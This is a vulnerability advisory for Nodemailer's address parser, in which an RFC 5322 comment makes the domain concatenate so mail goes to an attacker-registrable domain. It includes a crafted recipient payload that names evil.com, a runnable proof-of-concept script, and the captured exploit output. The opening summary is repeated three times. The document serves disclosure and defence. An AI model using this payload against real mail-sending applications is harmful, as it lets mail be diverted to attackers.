Nodemailer before 9.1.0 Email Domain Validation Bypass via RFC 5322 Comment

Nodemailer versions >= 6.9.16 and < 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before a non-break character causes the tokenizer to concatenate the atoms surrounding the comment instead of treating the comment as folding whitespace that terminates the domain. A recipient address such as [email protected](x)evil.com is therefore read by Nodemailer as the single domain good-corp.comevil.com (registrable domain comevil.com, which an attacker can register) and used for both the SMTP envelope (RCPT TO) and the emitted To:/From: headers, while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com. An application that validates the recipient domain with a strict RFC 5322 parser (without inspecting parse defects) or a naive prefix/substring allow-list and then hands the raw address to Nodemailer can be induced to deliver mail to a domain the attacker controls. Fixed in 9.1.0.

Nodemailer versions >= 6.9.16 and < 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before a non-break character causes the tokenizer to concatenate the atoms surrounding the comment instead of treating the comment as folding whitespace that terminates the domain. A recipient address such as [email protected](x)evil.com is therefore read by Nodemailer as the single domain good-corp.comevil.com (registrable domain comevil.com, which an attacker can register) and used for both the SMTP envelope (RCPT TO) and the emitted To:/From: headers, while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com. An application that validates the recipient domain with a strict RFC 5322 parser (without inspecting parse defects) or a naive prefix/substring allow-list and then hands the raw address to Nodemailer can be induced to deliver mail to a domain the attacker controls. Fixed in 9.1.0.

Nodemailer versions >= 6.9.16 and < 9.1.0 mis-parse RFC 5322 comments in email addresses: in lib/addressparser, a comment closed immediately before a non-break character causes the tokenizer to concatenate the atoms surrounding the comment instead of treating the comment as folding whitespace that terminates the domain. A recipient address such as [email protected](x)evil.com is therefore read by Nodemailer as the single domain good-corp.comevil.com (registrable domain comevil.com, which an attacker can register) and used for both the SMTP envelope (RCPT TO) and the emitted To:/From: headers, while a conformant RFC 5322 parser terminates the domain at the comment and reads good-corp.com. An application that validates the recipient domain with a strict RFC 5322 parser (without inspecting parse defects) or a naive prefix/substring allow-list and then hands the raw address to Nodemailer can be induced to deliver mail to a domain the attacker controls. Fixed in 9.1.0.

### Summary Nodemailer's email-address parser treats an **RFC 5322 comment** `( ... )` inside the domain as a point to **concatenate** the surrounding text, rather than as folding whitespace (CFWS) that **terminates** the domain. Consequently a recipient address such as `[email protected](x)evil.com` is parsed and **delivered to `good-corp.comevil.com`** (registrable domain `comevil.com`, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads `good-corp.com`. An application that decides *whether it is allowed to email a recipient* by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an **Interpretation Conflict (CWE‑436)**, the same class as CVE‑2025‑13033, reached through the RFC 5322 *comment* construct (the "Comments" technique in PortSwigger's *Splitting the email atom* research, which produced a Postfix fix). Severity is **Moderate**: exploitation requires the app's domain check to disagree with Nodemailer (see **Impact** for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → `aiosmtpd`). ### Details Root cause is in `lib/addressparser/index.js`. 1. The tokenizer registers the comment as an operator pair (`Tokenizer.operators`): ```js '(': ')', // line ~331 ``` 2. When the **closing** `)` is immediately followed by a non‑break character (anything other than space / tab / CR / LF / `,` / `;`), the tokenizer marks that operator token with `noBreak = true`: ```js // Tokenizer.checkChar, lines ~398-399 if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) { this.node.noBreak = true; } ``` 3. `_handleAddress` then **glues** the token that follows the comment onto the token that preceded it (dropping the comment): ```js // _handleAddress, lines ~187-188 if (prevToken && prevToken.noBreak && data[state].length) { data[state][data[state].length - 1] += token.value; // <-- concatenation } ``` For the input `[email protected](x)evil.com` the tokens are `text:"[email protected]"`, `op:"("`, `text:"x"`, `op:")"` (flagged `noBreak`), `text:"evil.com"`. Step 3 appends `evil.com` onto `[email protected]`, producing the single domain **`good-corp.comevil.com`**. The comment content (`x`) is discarded into the display‑name field. RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may **not** appear inside a `dot-atom`. A comment therefore *separates* tokens and terminates the domain; the conformant reading of `good-corp.com(x)evil.com` is the domain `good-corp.com` (with the trailing `evil.com` being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain. Nodemailer uses the parsed address for **both** the SMTP envelope (`getEnvelope()` → `RCPT TO`) and the emitted `To:`/`From:` headers, so the entire message is routed to the concatenated domain. **Related grammar defect (bonus, lower impact):** nested comments are legal in RFC 5322, but the tokenizer closes the comment at the *first* `)` (`chr === this.operatorExpecting`, line ~392), so a valid nested comment such as `[email protected](a(b)c)` is mis‑balanced and mangled to `x.comc)`. That particular output contains a stray `)` and is **rejected** by a conformant MTA (501) — a bounce/robustness issue, not a misroute. **Suggested fix:** treat a comment as folding whitespace that terminates the current token — i.e. do **not** propagate `noBreak` across a comment‑closing `)` (restrict the `noBreak` optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment. ### PoC Environment: Node.js ≥ 18 and the published `[email protected]`. No special transport configuration is required; the discrepancy is in address parsing. `poc-comment.js`: ```js 'use strict'; const net = require('net'); const nodemailer = require('nodemailer'); // 9.0.6 const TRUSTED = 'good-corp.com'; const RECIPIENT = '[email protected](x)evil.com'; // RFC 5322 comment (x) between two domains // tiny SMTP sink that prints the literal RCPT TO nodemailer transmits const server = net.createServer(sock => { let buf = ''; sock.write('220 sink\r\n'); sock.on('data', d => { buf += d; let i; while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2); const u = line.toUpperCase(); if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n'); else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); } else if (u.startsWith('DATA')) sock.write('354 go\r\n'); else if (line === '.') sock.write('250 ok\r\n'); else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); } else sock.write('250 ok\r\n'); } }); }); server.listen(0, '127.0.0.1', async () => { const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false }); await t.sendMail({ from: '[email protected]', to: RECIPIENT, subject: 'hi', text: 'x' }); t.close(); server.close(); }); ``` Run: ``` npm init -y && npm install [email protected] node poc-comment.js ``` Actual output (nodemailer 9.0.6): ``` nodemailer transmits : RCPT TO:<[email protected]> ``` The application asked to mail `[email protected](x)evil.com`; Nodemailer delivers to `good-corp.comevil.com` — registrable domain `comevil.com`, which an attacker can register. **Verified against a real RFC 5321 server** (containerized lab included with this report — `docker compose up --build`, case `R8_comment_glue`, receiver = `aiosmtpd`): ``` wire RCPT TO : RCPT TO:<[email protected]> real server : ACCEPTED (250) recipient parsed by real server : [email protected] (domain good-corp.comevil.com) delivered To header : x <[email protected]> ``` **Which parser sees what** (the crux of exploitability): | Parser used by the application to gate/route | Domain it reads from `[email protected](x)evil.com` | Deceived? | |---|---|---| | Python `email.policy.default` (strict RFC 5322) | `good-corp.com` *(flags `InvalidHeaderDefect`)* | Yes, if defects are not checked | | Naive prefix / substring allow‑list (`startsWith`/`includes('@good-corp.com')`) | `good-corp.com` | Yes | | Nodemailer's own `addressparser` | `good-corp.comevil.com` | No | | Python `email.utils.getaddresses` | `good-corp.comevil.com` | No | | WHATWG `url.domainToASCII` | `good-corp.com(x)evil.com` | No | ### Impact * **Who is impacted:** applications that make a security or routing decision on the recipient **domain** using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser **without inspecting parse defects**, or with a **prefix/substring/allow‑list** check (e.g. "only send to `@good-corp.com`", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own `addressparser`, `email.utils.getaddresses`, or `url.domainToASCII` are **not** affected, which is why this is rated below the IDN/Punycode issue. ## Patched in 9.1.0 Fixed in [902b63e](https://github.com/nodemailer/nodemailer/commit/902b63e). Not propagating `noBreak` across the closing `)` on its own breaks valid addresses, because CFWS is legal on either side of the `@`: `user@(x)good-corp.com` and `user(x)@good-corp.com` both come out mangled. A comment now joins what it separates only when one side carries the `@`, so those keep resolving while `[email protected](x)evil.com` terminates at `good-corp.com`. Quoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: `[email protected](a(b)c)` now yields `[email protected]`.